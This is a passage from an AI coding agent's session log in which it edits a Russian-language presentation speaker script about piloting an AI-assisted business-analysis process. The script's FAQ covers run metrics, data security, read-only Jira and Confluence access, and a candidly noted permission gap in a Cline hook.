\u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:50.014Z] [INFO]       {\n[2026-09-29T07:55:50.014Z] [INFO]         \"oldStart\": 383,\n[2026-09-29T07:55:50.014Z] [INFO]         \"oldLines\": 9,\n[2026-09-29T07:55:50.014Z] [INFO]         \"newStart\": 383,\n[2026-09-29T07:55:50.014Z] [INFO]         \"newLines\": 9,\n[2026-09-29T07:55:50.014Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:50.014Z] [INFO]           \" ### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \",\n[2026-09-29T07:55:50.014Z] [INFO]           \" RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \"\n[2026-09-29T07:55:50.014Z] [INFO]         ]\n[2026-09-29T07:55:50.014Z] [INFO]       }\n[2026-09-29T07:55:50.014Z] [INFO]     ],\n[2026-09-29T07:55:50.014Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:50.014Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:50.014Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:50.014Z] [INFO]   }\n[2026-09-29T07:55:50.014Z] [INFO] }\n[2026-09-29T07:55:55.675Z] [INFO] {\n[2026-09-29T07:55:55.675Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"message\": {\n[2026-09-29T07:55:55.675Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"content\": [\n[2026-09-29T07:55:55.675Z] [INFO]       {\n[2026-09-29T07:55:55.675Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"id\": \"toolu_01MSPoieQaZYRmrnJkUrAio2\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"input\": {\n[2026-09-29T07:55:55.675Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:55.675Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.675Z] [INFO]           \"old_string\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.675Z] [INFO]           \"new_string\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\"\n[2026-09-29T07:55:55.675Z] [INFO]         },\n[2026-09-29T07:55:55.675Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:55.675Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:55.675Z] [INFO]         }\n[2026-09-29T07:55:55.675Z] [INFO]       }\n[2026-09-29T07:55:55.675Z] [INFO]     ],\n[2026-09-29T07:55:55.675Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:55.675Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:55.675Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:55.675Z] [INFO]         \"ephemeral_1h_input_tokens\": 1683\n[2026-09-29T07:55:55.675Z] [INFO]       